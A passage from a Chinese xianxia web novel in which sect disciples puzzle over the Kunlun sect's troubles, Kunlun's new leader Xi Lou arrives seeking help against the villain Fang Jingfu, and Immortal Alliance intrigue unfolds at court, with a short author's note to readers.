容易?那先前试心玉被任师姐劈开的时候,掌门为何还那么惊讶? 关云铮往任嵩华的方向看了眼,才发现不知何时她已经练完了剑,在不远处就地打起坐来。 步雁山顺着她的视线看了过去,了然地笑了笑:“自然,昆仑所说的‘容易’是于她们而言的,且是在与另一种昆山玉对比之后得出的,难免有失偏颇。” 更何况这还是传言,没准昆仑的人根本不是这么想的。 虽然这些话的真实性有待考证,但关云铮还是从中得出了一些结论,只是还没等她向步雁山确认自己的想法,两人面前的空地上便传来极微弱的一阵气流涌动声,章存舒的身影凭空出现在空地之上。 “昆仑的人来了。” **** 在归墟事务这方面,关云铮从不操没必要的闲心,反正章存舒师兄弟两人不想说的她永远也没法知道,想说的还会总结个简洁版告诉她,没必要跟着。 所以当章存舒随口问她要不要一起去迎接昆仑派来人时,一直待在台阶上没动的关云铮站起身拍了拍身上的灰,同样态度随意地说道:“不去了,别看我和任师姐如今有话说,早期我见着无情道还是发怵的。” 一想到去山门前可能见到一大帮无情道……她觉得自己脑浆都要结冰了。 再者说……关云铮跳上摇羽剑身下山前,回头看了一眼站在原地没动的章存舒,听师父语气就知道,他只是走过场地问问,并不是真的想自己跟着一起去。 虽然在苍生道不长这种眼力见也没所谓,但她还是在这一年的师门日常中,学会了不在师父心情一般的时候凑上去添堵。毕竟以谜语人的心理承受能力……她还是不要上赶着知道的好。 关云铮不再耽搁,御剑下山,直奔饭堂品鉴美食去了。 楚悯三人都在饭堂待着,见她回来便将碟子推到她眼前,楚悯率先问道:“今日怎么练了这么久?” “有些事情想不通,和任师姐还有掌门说了说。”关云铮放松下来,立刻打了个哈欠。 谭一筠还没见过刚练完刀就困的,失笑:“现在想通了?” 谁料关云铮竟然摇了摇头,方才那个哈欠仿佛驱走了她的困意,眨眼间便清醒起来似的:“所以回来同你们讨论。” 她略过了有关戚寻月的部分,将方才任嵩华和步雁山所说有关昆仑和昆山玉的部分简略讲了讲,期间不忘赞一句李演做的点心:“我对无情道有滤镜,总觉得既然已经摒却七情六欲,修为一定会比修炼了差不多年数的人更高一些。假设昆仑前一任掌事已经到了我所说的境界,她会因为追求更高的修为而发生意外吗?” 叶泯喂灵犀吃了一小块点心:“你觉得前任掌事有可能是走火入魔?” 苍生道的地盘没有外人,但关云铮还是出于尊重谨慎地措着辞:“只是猜测,我觉得昆仑一派大概也不会走到这一步。” “为何?”谭一筠问道。 “可能是我有些牵强附会了,我总觉得她们对于两种昆山玉的态度正好能证明她们为人处世的态度。白色的昆山玉软且韧,她们热衷于将其变成各种形状,在上面留下痕迹;但黑色的昆山玉却无人问津,早年任由各地仙门和仙盟向她们讨要,说给就给……” 关云铮摸着杯壁若有所思:“她们好像不喜欢‘过刚易折’。” 试心玉,也就是黑色的昆山玉,看似坚不可摧,实际在力量达到了任嵩华这样的水平后,动辄便能给它劈开一道划痕。 与之相反,白色的昆山玉可以承载镌刻的力道,可以被肆意折叠,却不会断。 如果是她,抵达更高的境界后,大概不会囿于单纯的力量更强,更会像钻木取火一样,将力量汇聚在某一点上继续往下钻研,这样才能在“道”上走得更远,悟出自己的道心。 楚悯点了点头:“我明白你的意思。天问一派中也有不少人在抵达某一境界后,会开始追寻与先前不太一样的东西。” 比如常年负责议事堂事务的左长老,他如今已经不太用寻常的方式卜算了,更多的时候都在“问水”。活水中蕴藏了许多事的蛛丝马迹,比寻常的卜算更准确,更具备先兆性,也更考验人的功力与修为。 “有点像雕刻?技艺高超的师傅往往会找一个极小的物件,在上面刻出极为细致的图景来。”叶泯说道,“我就曾见过一位匠人在米粒上刻字。” 是啊,关云铮心想,我还背过核舟记呢。 不过这些也只是对昆仑派人偏爱白色昆山玉理由的猜测,无法佐证关云铮“过刚易折”的理论。 “假定云铮所说非虚,昆仑人当真不喜欢‘过刚易折’,门派中的每个人也都时刻警惕此事,那也就排除了前任掌事因为追求力量而走火入魔的可能。”谭一筠接着往下分析,“难道真是遭了谁的暗算?” “师父同我说起过昆仑这对姐妹,两人感情很好,奚楼长老不大可能在奚亭长老还能处理门内事务的时候接替这一职位。”他皱着眉,除非真的发生了不得不替换的事…… “可她们为什么非得来?”叶泯还是觉得此事有疑点,“往年昆仑可从不参与仙门大比。” 而且刚换了掌事,门内许多事务都亟待安排,奚亭要是真的出事,优先级最高的不应该是调查清楚奚亭遇害的原因吗? “除非,昆仑觉得,参与这次大比能帮她们解开迷题。”楚悯说道。 **** “昆仑来了多少人?”虽然受邀人员的名单已经确认下来,但出于各种考量,有不少门派实际来的人会比名单上的略多几个,故而步雁山一面往山门处走,一面向章存舒问道。 他师兄意味不明地说道:“不多。” 步雁山回头看了他一眼,瞬息之间已经缩地成寸,来到了山门处:只见山门外孤零零地站了一位剑客,衣着普通,相貌也平常,甚至感受不出太多的灵气波动。 就来了一个?那倒确实不多。 章存舒的身影很快出现在他身侧,感受到他的犹疑,出声提醒道:“应当是昆仑的人,先让人进来。” 步雁山点了点头,迈出山门。 那剑客闻声看来:“步前辈,章前辈。” 步雁山方才下山匆忙,还没将那信件放回乾坤袋里,此时眼前剑客一开口,那信件便从他的袖口飞了出来,直奔剑客而去。 ——在两人的注视下化为齑粉。 伴随着信件被粉碎,一阵方才并不明显的灵气波动震荡开来,两重冲击之下,似乎确实能证明来者的身份。 步雁山一般都会无条件信任他两位师兄,然而此时还是按照规矩多问了一句:“敢问可是奚掌事?” 那布衣剑客正欲皱眉,忽然察觉到什么,眉头一松:“既然周围有结界,那我就不再遮掩了,我是奚楼,如假包换。” 章存舒收回手:“我记得你的长相,和现下这张脸……” 奚楼抬手在脸上一抹,再度抬头时露出一张大不相同的脸。五官的走势依旧,波光流转间的气度却不甚相似,无端有种洗尽铅华之感,仿佛凿开了玉石外的厚壳。 “此次前来并非为了仙门大比,实是有要事相商,望两位前辈能伸出援手。”奚楼说到这,神色肃然地朝两人揖了揖。 这样郑重的请求令步雁山立时严肃起来:“奚掌事言重了,有任何归墟帮得上忙的,我们一定竭尽全力相助。站在山门处说话也不是待客之道,不如便随我二人先进归墟找个住处歇下,我们慢慢商议?” 奚楼向结界一侧看了眼,随即又收回视线:“好,多谢步前辈。” **** 章存舒忙完回来时天色已晚,关云铮白天打了个盹,此刻还不困,和师兄师姐们一起坐在桌边陪李演剥豆子,有一搭没一搭地扯闲篇。 “师父回来了?”关云铮耳朵尖,听见脚步声便抬起头来看向门外。 章存舒跨步进来:“还有茶水吗?说了这许久的话,渴得人要冒烟。” 李演早有准备地将一壶凉茶推过去:“我听云崽说,是昆仑的人来了?都说什么了?” 很没形象地几口喝干了一壶茶,章存舒这才在桌边坐下:“云崽是怎么说的?” 闻越熟练地摁住豆荚,将缝隙撑开后剥出豆子:“云崽怀疑昆仑前任掌事是遭人暗算后走火入魔。” 关云铮一个没看住就让倒霉师兄把话都秃噜出去了,顿时气不打一处来,抄起一颗豆子就照着他脑门丢过去,同时没忘了给自己找补:“只是猜测,没有不尊重昆仑前任掌事的意思。” 章存舒摆摆手:“你倒是没猜错。” 闻越捂着脑门正要跟关云铮互殴,听见这话登时愣住:“什么?当真是遭人暗算?何人所为?” “方竞甫。”章存舒说出了一个在场众人都十分熟悉的名字。 关云铮一个没控制住力道,被自己剥出来的豆子崩了额角,顾不上喊痛,她放下豆荚,惊怒交加:“这狗东西没死也就算了,怎么还去昆仑祸害起别人来了?他又是用的什么法子让前任掌事走火入魔的?” 这话刚一出口,关云铮就感觉到章存舒意味深长的目光落在了自己身上,顿时明白了他目光中的隐藏意味,愣了愣才说:“难道是心魔引?” 连映皱起眉头:“到底有多少颗心魔引?” “奚楼前些时日正好在闭关,被门中人报信惊动,出关时奚亭已经走火入魔,方竞甫也不知所踪。只知道奚亭大约有过一段时间举止异常,不像是突然的走火入魔,更像是心魔引在体内与之抗衡的表现。”章存舒说道,“至于心魔引究竟有多少颗,恐怕没人清楚。” 关云铮只记得当时给她种下心魔引那三人中,有一人曾经说过“我们好不容易才得来这么一个”,说明心魔引的总数应当不多不少,正好卡在一个比较“珍贵”的总量上,需要花费点代价才能得到。 如果是这样,当下规模最为壮大的邪修门派鬼灯楼应当持有相当一部分数量的心魔引;而殷含绮之前又同她坦诚过自己听说过方竞甫,想来方竞甫确实与鬼灯楼有所关联,从鬼灯楼处得到心魔引也不是没可能。 当然,还有一种可能是,方竞甫这渣滓手中一直有心魔引,只是之前处在迷津渡这样的孤岛上,没有什么可供迫害的对象,借着门派被围剿的机会趁乱逃出后,才让他找到了施展的可能。 不管是哪一种可能,在当下都不具备处理的优先级,亟待解决的还是昆仑一派的事。 “那奚楼长老说了些什么?让归墟帮忙,抓住方竞甫吗?”关云铮冷静地问道。 “不,她想让我们把方竞甫放进大比的幻境中。” **** 来去峰上,任嵩华结束了每日例行的打坐,睁开了眼。 不远处的不熄鼎前站着个布衣的剑客,像是察觉到方才那一瞬间外溢的灵气,转过身来看向她,展颜一笑:“小嵩华,好久不见。” 在她转身前,任嵩华的目光一直停留在她背后的佩剑上,此时听她出声,才将视线调转至她明亮的双眼:“奚楼前辈。” “哎呀,真的还记得我?我以为你还要生姐姐的气,也不愿意搭理我了呢。”奚楼笑嘻嘻地说道,此番模样与她方才在山门前简直判若两人。 任嵩华没接她这句,走上前几步问道:“掌门昨日才收到你的信件,今日你便抵达了归墟,昆仑与归墟相去甚远,门中弟子修为参差,你绝无可能是缩地成寸而来。”她平静的脸上流露出一丝微弱的不解,“昨日传信时你已经在镜溪城了,为何?” 修为低些的弟子无法自行缩地成寸,必须得由人带领,但一人带领他人缩地成寸对灵气的消耗巨大,更何况是昆仑到归墟之间这样遥远的距离。 “如果我是一个人来的呢?”奚楼问完这一句,似乎毫不介意身高的落差会让自己在对话中落了下风,干脆地在身后的台阶上坐下。 任嵩华默然注视着她的眼睛。 归墟的消息来源不算最灵通,如果归墟已经得知昆仑掌事卸任一事,想必各仙门也会很快知晓,纵然昆仑不算什么世代必争的仙家宝地,但隐居已久的地方忽然暴||露在人前,难免会引来居心不良之人的窥视,此时新任掌事独身离开的话…… 奚楼叹了口气,在任嵩华面前终于显出疲惫:“不说这个了,这几年剑练得如何了?我们比试几招?” 任嵩华站着没动:“今日练剑已毕,不比。”说完转身就要走。 奚楼连忙站起身跟上:“你就拨出半个时辰,小半个时辰,一炷香,一炷香总行了吧?” 任嵩华置若罔闻,往自己的小院走,奚楼坚持不懈地在她身后跟着:“我就说你还在生气吧,小时候你可不是这样的,当时我在姐姐身后朝你做鬼脸,你还会瞪我呢。” 没人理她的碎碎念,奚楼也不介意,继续说着:“前几年的仙门大比我们都没参与,不过我听说了你和章存舒那个徒弟,叫江却对吧?打的那一架,虽然没能亲见,想来一定很精彩,真是可惜。” 走在前面的任嵩华忍无可忍似的一转身。 奚楼眼前一亮:“打吗?” 只见任嵩华面色平静:“不打,你想要排遣情绪不如去劈试心玉,找我有什么用?” 奚楼被她拆穿也不恼,只是脸上的笑意淡了些:“你知道我们昆仑人不喜欢试心玉。”也就仙门把这东西当做宝贝,做成练剑台,还起了个这样雅致的名字。 任嵩华竟然笑了声:“那前辈你又知道什么?对别人有所隐瞒的时候,却要求别人坦诚相待?” 她不再多言,径自走入自己的小院,抬手关上院门,来了一出真正意义上的“闭门谢客”—— 作者有话说:之前有个新读者在第四章 问我,为什么已经出场的长老和掌门都是男的,没有女的,现在写到无情道全是女修,想起此人发言就想笑。 交流好像总是这样,理想状态下的交流是正常人与正常人对话,但事实上是大家想说的话总是传不到真正需要这些话的人那里,譬如关心本文有无女人的此读者在第七章 就弃文了,因为觉得此文不够爽。 最近在wb上刷到一句话私以为很有道理,“不要将你的个人喜恶上升到一种正当性中”,网文市场来去自由,在我看不到的地方怎么说我都无所谓,但是连我院子里养的花都没看清楚,却要进我的院子随地大小便,那就恕我不能容忍,要抄起扫把赶人了。 不过同样很可惜的是,这些话也传不到真正该听到这些话的人那里,pity。 感谢每个愿意走进我的院子耐心赏花的人,爱你们[红心] 第160章 院门只是寻常木门, 对于修道之人来说不费吹灰之力便能推开,但奚楼无端有些挫败,还有些惶然, 仿佛刚出关便得知姐姐被人暗算一样, 恍惚得不知该做些什么。 她自然明白任嵩华此言并不是针对她,但她也没想到以她和任嵩华这样介于生疏和相熟之间的关系, 会听她对自己说出这句话。脱离了少年时期却还会说出少年心性的话, 这和她以为的任嵩华不太一样,仿佛带着些许埋怨和质问似的。 她还以为……也是,任嵩华从小就跟他人以为的不一样,这几年在归墟久未谋面,究竟长成了什么模样,哪是她能预料到的。 奚楼吃了闭门羹, 又意识到自己的情绪确实无从排遣,脸上的笑意终于在温和的风中彻底褪去, 在门前孤零零地站了一会儿,再度叹了一口气, 转身从院门前离开。 她仍穿着方才在山门前露面时的布衣, 身上带着风尘仆仆的气息,十足的狼狈。如今脸上的笑意也褪去后,整个人身上的风霜便陡然厚重了几寸。 任嵩华方才那句话并不是指责她, 至少……不是单指责她一人。 戚寻月身死前, 很早便表露出了征兆,但那时任嵩华年纪还小,看不出来,因此被章存舒几人瞒得很严。 没有人在得知自己被隐瞒了一件坏事后能心平气和,无情道只是修了此道, 而非在此道上成了仙,没有全然断情绝爱,也断不能完全不怨恨他人。故而任嵩华的情绪……大概也是有几分冲着章存舒几人的。 而恰好那时她和姐姐一同来了归墟,姐姐一眼看出了戚寻月寿数将尽,这才当着人师父的面要人。 姐姐性格如此,寻常人的想法大约总要走个委婉的过场:“你师父快死了,日后无人指导你在此道上走得更远,我恰好也修此道,不如便随我一起,还能指点你一番”。 虽然本质都是当着别人的面要人,不大好看,但姐姐从不懂委婉,会省略中间无数句粉饰的话,直接从缘由跳到最后的结果。 哪怕不在归墟,这样的说话方式也有许多人忍受不了,不怪当初的章存舒会那样生气,险些与姐姐大打出手。 至于任嵩华对她这点稀薄的敌意…… 他们编造出一个天衣无缝的谎言,却又没法阻挡四面而来的风将这个谎言吹破,任嵩华得知真相后会怨……倒也合乎情理。孩子大概都最恨打破他们幻想的人。 奚楼短短半个时辰里叹了第三口气,知道这几日恐怕都没法和任嵩华好好聊几句,干脆御剑从来去峰上离开了。 **** 叶泯原本正瘫在灵犀身上吹风,闻言立刻直起身:“你说方竞甫不仅逃出来了,昆仑前任掌事出事也是他害的?” 灵犀原形的脑袋凑到手边还是太具备视觉冲击力了,关云铮默了一秒才点头回应。 坐在灵犀尾巴上的叶泯一脸匪夷所思:“他又是怎么进的昆仑?” 昆仑几乎称得上与世隔绝,天然的山脉阻挡加上人为的阵法阻碍,若非得到许可,方竞甫这样的“通缉犯”是绝无可能进入他人门派的。 难道昆仑也像仙盟一样,和诸多仙门不是一条心?也同方竞甫有什么牵扯? “不知道,”关云铮随口似的,“此事才刚开始,我们都是局中人,自然当局者迷,就是不知道旁观者是谁了。” 谭一筠靠在树上用小木鸟练习傀儡术,闻言眼神一飘,失去了灵气操控的木鸟立刻从空中一头栽倒,他伸手接住,看向关云铮:“我怎么觉得你的语气……似乎不怎么当局者迷?” 关云铮拉着楚悯一起在灵犀尾巴上坐下:“我是在想,心魔引这东西到底有多少颗?又究竟是怎么来的?方竞甫是原本就有,还是与鬼灯楼联手后才有的?如果鬼灯楼有那么多颗心魔引,他们原本又是想做什么?” 说完她又想起什么似的:“哦对,还有欠打的那位,也不知道他最近还有没有和仙盟的人联络过,他们两人勾结又是想做什么。” 这一大串问题说完后,关云铮把灵犀直立起来的身体当墙,往上一靠:“这样一看,我们的处境堪称虎狼环伺啊。” 楚悯面色凝重地“嗯”了声,随后又看向一旁的叶泯:“昨日傍晚章先生与掌门才一同去迎接从昆仑而来之人,我记得来客的芥子院就在教习弟子院隔壁,与你们隔着不远,昆仑来了多少人,你们看见了吗?” “昆仑明面上只来了一位,应当就是那位奚楼前辈。”叶泯斟酌着说道,“但是参与大比,不太可能只身前来吧?” 关云铮不甚在意地将手臂垫在脑后:“她倒未必是来参与大比的,不过我也觉得她不可能是只身前来,”灵犀的鳞片滑溜溜的,脑袋在上面老打滑,垫上胳膊果然好多了,“就是不知道其他人又在哪里。” “芥子里?”谭一筠冷不丁地说道,对上同伴们的视线,又补充了一句,“我的意思是,她随身带着的芥子里。” 楚悯若有所思:“随身芥子至多能容纳多少人?” 谭一筠看了眼一旁飘着的子不语,那扇面上正随他心意飞快地浮现出墨迹,内容是他先前在藏书阁翻阅过的典籍。 “视修为而定。”翻阅到了需要的内容,谭一筠抬起头来,“这样看来,奚楼前辈一定不是为了仙门大比而来。” **** “陛下。”沈时安行至亭外,打破了亭子里的寂静。 苍韫桢闻言只“嗯”了声表示听见了,视线仍落在棋盘之上。 “柳大人回来了。”沈时安又道。 正要落在棋盘上的白子在空中一滞,随后“啪”地砸落,溅开了几枚已经落定的棋子。 沈时安这才发觉苍韫桢根本没伸手,那棋子分明是自己飘着的! 而下棋之人已经站起身来:“出什么事了?” 沈时安连忙亦步亦趋地跟上:“具体不知,只接着府上传来的信,知道大人回来了。” 但柳卿知若真是事成返回,一定会入宫来,如今却只是传信,定有什么让她不能露面的事发生。 苍韫桢走出几步才发现这么个小尾巴,回头对着沈时安笑了笑:“你跟着做什么,我又不坐马车出宫。” 沈时安一愣:“那怎么去?” 苍韫桢朝她招了招手,瞬息之间,身影就从原地消失了。 原地的沈时安茫然地在她消失的位置转了一圈,才十分后知后觉地意识到:方才那棋子并不是自己浮起来的。 “噼啪”一声,柳卿知被灯花炸开的声音惊醒,半梦半醒中意识到自己刚上完药就不小心睡着了,眼睛还没睁开便打算翻身起来,却被一只手按住了肩膀。 天逐渐热了,上完药她也只披了一件纱衣,被那熟悉的触感一烫,意识到身后的人是谁,方才那一刹那绷紧的肩颈顿时松懈下来,重新倒回了榻上。 “收到信了。”柳卿知闭着眼说道。 苍韫桢的目光在她后肩伤处停顿了片刻,才敷上去的布料透不出血色,但从柳卿知换完药就这样睡着来看,必然伤得不轻。 她好半晌没说话,直到又一声灯花炸响,才开口:“出什么岔子了?” “近日仙盟里有异动。”柳卿知睁开眼,灯烛的光亮被苍韫桢遮去了大半,没能晃到她半分,只是这样一来,苍韫桢的脸便陷入了黑暗中,有些辨不清神色。 “嗯,我知道,这次学子闹事也与他们有关?”苍韫桢最终还是没能维持住自己的缄默,叹了口气,再度向柳卿知屈服,如往常一般,没让她的话掉在地上。 “算是,但我怀疑仙盟掌事者并不知此事,应当是个别心怀不轨之人,”她的话音忽地停顿了几息,随后状若无事般接着说道,“作的妖。” 苍韫桢从她后肩处抬起头,仿佛方才拂在柳卿知伤口上的气息不是她的,面色平静道:“原本我不打算去归墟参与此次仙门大比,如今看来,不去的话怕是会错过一场好戏。” 柳卿知支起身子,将锦被堆叠起来靠在身后:“此事应当需要告知章存舒。” 苍韫桢的目光随着她起身的动作,从她后肩处一触即收:“嗯,我之后传信,他应该也有事要告诉我。” **** 奚楼的到来不是秘密,除了初来那日比较低调,这之后的几天她都不再隐藏行踪,身上的衣服也换成了更符合她如今“昆仑掌事者”这一身份的,不再像个逃荒的了。 自奚楼来归墟的那日起,关云铮便觉得任嵩华不大高兴——虽然叶泯和谭一筠根本无法理解她是怎么从那张几乎一成不变的脸上看出不高兴的。 总之基于自己敏锐的情绪觉察力,关云铮决定这几日不去找任师姐练刀了,一来是不想在别人不高兴的时候刷存在感,二来是大比将近,她得适当降低一些刀剑上的训练强度,把术阵和符咒的强度提上来。 而作为她原本的剑术指导,蒲飞鸢这几日闲着没事,时常来她的院子小坐,偶尔还会提点她几句。 “我虽然只是你们武器课的老师,但行走江湖也少不得旁的功夫傍身,指点你几句基础的,应该还不成问题。”蒲飞鸢接过她递来的奶茶,失笑,“大早上喝这个?是不是过得太舒服了?” 关云铮摆摆手:“这是前日师父从宫里拿回来的普洱泡的,我们几个午后喝了夜里全都睡不着,但味道又实在是好,所以决定以后都早上喝了。” 解释完这一句,关云铮没忘了回答蒲飞鸢的前半句:“先生太抬举我了,我的本事还没到您指导不了的地步。” 蒲飞鸢被她逗笑,顺势低头喝了口:“宫里的东西就是好。” 她欣赏了片刻杯子里的奶茶:“原来你师父前日是从宫里回来的。” 关云铮正要练符咒,闻言抬头:“怎么,前日还有什么事?” “他把我们召集起来说了些事,现下看来是与那位陛下通过气了。”蒲飞鸢转了一圈杯子,没怎么卖关子就接着说道,“仙盟里有人与邪修有些牵扯,前些日子还用邪修制的香和一些旁的手段,唔,迷惑了一些科举学子的心智,添了不少乱。” 注意到她话语里的卡顿,关云铮怀疑她中途出于委婉考虑,改了某些措辞,原本的用词可能比“迷惑”更激烈一些。 也不知道陛下和师父的原话会是什么。 “仙盟就不能安生当他们的朝安纨绔?”这事估计一时半会儿也说不完,关云铮索性搁下笔给自己也倒了一杯奶茶,“怎么总要惹事?” 蒲飞鸢嗤笑一声:“以前在江湖闯荡时常有这种人,见你第一面就对你的武功有些估量,但因为见识有限,能耐也稀松平常,估量得不确切,在你屡次放过他们后,反而会凑上来讨嫌,自以为是地找打。” 关云铮挑眉:“后来都是怎么解决的?” 蒲飞鸢喝了口茶:“不是找打吗,打服为止。” “但我以前也听过一种说法,说是这种人是无穷无尽的,同他们计较就仿佛人被狗咬后同狗计较,”关云铮用开玩笑的语气说着,“当然这话只是个比喻,没有别的意思。” 蒲飞鸢自然听得出她的语气,完全没在意地一笑:“人被狗咬怎么不能同狗计较?狗让我流血,我也让它流血,若养狗之人纵狗行凶,我就要连那人也一同打了,这世上事本该如此,作恶者理应付出代价,断没有受害之人忍气吞声的道理。” “要是能力不足呢?”关云铮问道。 “那种时候……太远了,好些年前了,但我依稀记得那时候受的委屈,几年之后我也都报复回去了。”蒲飞鸢回忆着,“若是碰上了能力不足没法报仇的人,力之所及我也会帮上一两次。” 她说着说着自己先笑了:“这样看来我同那位陛下应当挺有话聊。” 关云铮不明所以地歪头。 “据你师父所说,她得知仙盟所为后大发雷霆,将一干涉事之人全都下狱了。”蒲飞鸢似乎对“大发雷霆”这个词有所怀疑,说到这的时候眉毛都挑起来了。 关云铮也觉得这个词不太符合她对苍韫桢的印象,倒不是说她不生气,自己用心办的科举有人做出这种事自然是生气的,但以她的性格和身份,应该不大会用这样激烈的情绪表达方式。 除非……是演的。 160-170 第161章 问题是……苍韫桢是演给谁的呢?仙盟?还是另有其人? “你是不是也觉得她不太可能……大发雷霆?”蒲飞鸢看穿了她脸上那点若有所思。 “仙盟的人是什么反应, 师父说了吗?”关云铮无意识用指腹卷着符纸的一角,“说实话,大发雷霆这个词也不像是师父会用的。” 以苍韫桢的身份, 很多时候不需要真正发怒, 大概就能实现令行禁止的效果,用得着发这么大火吗? 师父那谜语人和一贯直来直往的苍韫桢一起商议了什么?关云铮觉得自己想象不出来, 她只觉得仙盟所为, 大概不只是用邪修手段迷惑学子心智这么简单。 近日发生的所有事,尽管都只在她这片遥远的小水塘激起了一小圈涟漪,但每个涟漪荡开时全都碰撞在一起,彼此撞碎,而后又生成一个更为庞大的涟漪,余波却随着范围的扩大逐渐消失在了水面上, 令她看不分明。 如果从头追溯这些事,起源大概是一年前迷津渡被各大仙门围剿, 方竞甫与人蛊成功出逃后下落不明。这之后方竞甫与鬼灯楼牵扯,鬼灯楼用引魂香引渡活人的生魂, 又将活人的精血炼成丹药, 方竞甫行踪隐匿不定,却也在酝酿自己的阴谋。 如今方竞甫现身,人蛊仍旧下落不明, 奚亭奚楼两姐妹作为隐世的昆仑派两任掌事, 其中一个成为了心魔引的受害者,但心魔引来源何处?又是否早已在邪修所行恶事中发挥了作用,给他们提供了助力? 仙盟中人一面与赵乾达书信往来,对归墟内务颇感兴趣;一面又对朝廷事务妄自出手,横加干涉, 是真的不想活了每天作死,还是别有图谋? 这些事究竟是各自独立,还是彼此之间都有关联? 蒲飞鸢的话打断了她的思绪:“仙盟内部如今分了几股势力,有的在朝安城安生惯了,修为都倒退回不知哪个朝代了,不敢惹朝廷,事发后立刻将自己摘干净了;有的却觉得朝廷小题大做,脸皮厚比城墙,做贼的喊起抓贼,和朝廷叫板。” 关云铮在归墟这样井井有条、又不规矩森严的环境里待久了,骤然听闻仙盟内部究竟是怎么一个污遭样,一时之间都不知道该怎么用言语形容自己的震撼之情。 人果然无法想象自己认知之外的东西,明明早对仙盟有所预料,当真听到,震撼依旧不减。 但她直觉蒲飞鸢话还没说完,于是追问道:“还有的呢?” 还没等蒲飞鸢开口,一只手从她肩后伸了过来,将她的杯子拿走,顺势喝了一口奶茶:“还有的拒不承认此事,被下狱也仍在负隅顽抗。” ——苏逢雨不知何时结束了面向楚悯的教学,从另一边的院子里无声无息地走了出来,围着桌子坐着的两人竟都没察觉。 蒲飞鸢下意识伸手:“怎么又拿我的杯子。” 苏逢雨逗她玩似的往上抬了抬肘,不让她够着杯子:“怎么不能拿了。” 关云铮漠然旁观,没想到自己还有接替章存舒的位置、沦为Steve的一天。 好在楚悯很快也跟着出来了,如同救苦救难的菩萨一般,缓解了桌子周围微妙的气氛,在关云铮身侧坐了下来。 “这样看来,此次事件是第三种人所为,第一种人整日受着仙门尊崇,朝廷赏赐,已然变成没脑子的蛀虫了,对此事大约并不知情。”关云铮给楚悯倒了杯茶,“第二种人显然对此事有数,但故作不知,还借题发挥,可能与第三种人有利益牵扯,是随时会卖掉第三种人的同谋。” 那与赵乾达联络之人又是哪一种? 有的疑点不注意时还好,一旦注意到,就像衣服角落里掉出来的一截线头,存在感变得尤为强烈起来,关云铮几乎有些迫切地想要弄清楚这些事情之间是否存在着关联。 苏逢雨看出她的迫切似的,将杯子放回蒲飞鸢手心后朝她一笑:“别急,事情还没彻底乱起来呢。” ——但也离彻底乱起来不远了。 奚楼的到来不知给了哪些别有用心之人讯号,接下来的几天内,归墟收到的各类信件比过往一年的加起来还要多。有的是单纯询问大比之事的,有的则打着各类旗号问东问西,试探归墟态度似的。 信件多得步雁山和章存舒两人都处理不完,只好把沉迷炼丹的凌风起也抓了壮丁。 关云铮拿着符咒易错题去找褚老时,正好碰见师兄弟三人坐在学堂里焦头烂额。 学堂里各色信纸飘了满天,三人眼前的笔都没停过,来信之人大约彼此也有通信,回信时不可厚此薄彼,回了这封就得回那封。 凌风起的答复要稍微潦草敷衍些,但面前毛笔的笔尖还是把砚台里的墨刮得满桌面乱飞。关云铮跨过门槛时,褚老正在学堂正前方抓狂。 “笔!笔要秃了!墨!别往桌上乱抹!”褚老气得吹胡子瞪眼,见了关云铮如同见到救星,长出一口气道,“云崽,你来了,我们快走。” 关云铮一头雾水地被老人家拉着往来时路上又走了几步:“怎么了这是?” 褚鹤贤走出了年轻几十岁的架势:“我看不过眼又拦不住,只好先走为上。” 关云铮哭笑不得地跟着走了,在跨出门槛前回过头:“诸位加油。” 步雁山忙中还没忘了回应她:“加油是什么意思?” “就是努力的意思,诶褚老我这就走。”关云铮跟上褚鹤贤的步子,“您现下打算往哪儿去?” 谁料褚老一反方才着急的模样,大约是脱离了糟心的环境,还能平静道:“我随处走走,你难得来次学堂,是有何事要问?” 被揭穿不爱上学的心性,关云铮也没尴尬,笑嘻嘻地把自己练过的一沓符纸拿出来:“有几个符咒总画不好,想请您看看。” 褚老接过翻看一遍,用指尖点出几处问题:“此处施力过重,此处过轻,二者调换试试。” 关云铮若有所思,背在身后的手下意识顺着褚老的说法动了动,感觉摸到了一点关窍,连忙端正态度谢道:“多谢褚老指点。” 褚鹤贤摆摆手:“自己多练练,我去你们饭堂找李演说说话。” 关云铮本也打算回饭堂,毕竟那桌子宽敞,能放开了练习,不用担心符纸在桌上放不下,落得遍地都是。 但听褚鹤贤的口气,兴许他和李演之间有什么不便与外人说的话题,她还是不过去凑热闹为好。 关云铮目送褚老走远,想起自己好些日子没上来去峰,估计任师姐的负面情绪应当消化了一部分,索性御剑上山去了。 **** 入夏之后来去峰上开了不少花,平时寂静的氛围都无端热烈了几分,关云铮御剑上来时还手欠地摘了一朵。落地后她正想朝练剑台奔去,却见着奚楼站在不熄鼎之前,登时刹住脚步,结果被飘在身后反应不及的摇羽敲在了脑袋上。 “哎哟。”真是好听就是好头,关云铮召回身后摇羽,“你什么时候能看见,我可不想哪天被你暗杀了。” 方才那声确实响亮,摇羽无力狡辩:“我也是花了好些年月才有的灵,这种事又急不得。” 不远处的奚楼被一人一剑的动静吸引视线,看过来后笑道:“你是章存舒新收的那个徒弟?” 关云铮收好剑走到奚楼面前:“是,前辈好。” 奚楼摆摆手:“我算你哪门子前辈,又没指点过你,叫奚楼就行。” 关云铮虽然没大没小惯了,但也不可能叫同样没教过自己的苏逢雨大名,又怎么能在和奚楼才见过几次的情况下以全名称呼她,闻言立刻求生欲极强地摇头。 奚楼笑着叹了口气:“那就随你,来找嵩华练剑?”她才说完,一眼看见关云铮腰后的刀鞘,了然道,“哦,原来是练刀?” 关云铮眨眨眼:“前辈怎么看出来的?” 在上次幻境中,虽然里面的人都是虚假的,但每个见了她背着一刀一剑的人,都会默认她更惯用剑而非用刀,极少有人会在第一时间防备她的刀。 “你的剑不是有灵吗?无需驱使也能对敌,浪费那工夫做什么?”奚楼拎了拎袍摆,在台阶上坐下,“如今仙门默认了弟子们都学剑,你一定是先学的剑,可身上还带着刀,说明更偏爱刀一些。这倒也不很难猜?” 也对。其实都是稍微想一想就能想明白的事,所以到底是幻境中的人都是虚假,没有深入性思维,还是受先入为主的思想影响太深,见她是个小姑娘,便存了轻视之心? 不过无论是哪种原因,都对关云铮影响不大,战局之中,对手过早轻视对她来说百利而无一害,管它是因为什么。 关云铮收起心绪,下意识往练剑台那边看了眼。原以为她来了这一会儿那边都没动静,任嵩华兴许不在练剑,可这一眼过去,却发觉任嵩华竟一直在练剑,只是不知为何始终没过来。 她被摇羽敲了一下的脑袋终于回到了往日的灵光:奚楼前辈和任师姐之间,难道有什么龃龉? 毕竟任嵩华不是会将前辈置之不理的人,也从没在她来了之后不上前同她说话。 虽然后者有自作多情的嫌疑,但前者确实是无可辩驳的事实,这一点是被步雁山亲口说起过的,说明至少在过去的许多年间,任嵩华都是这样的人。 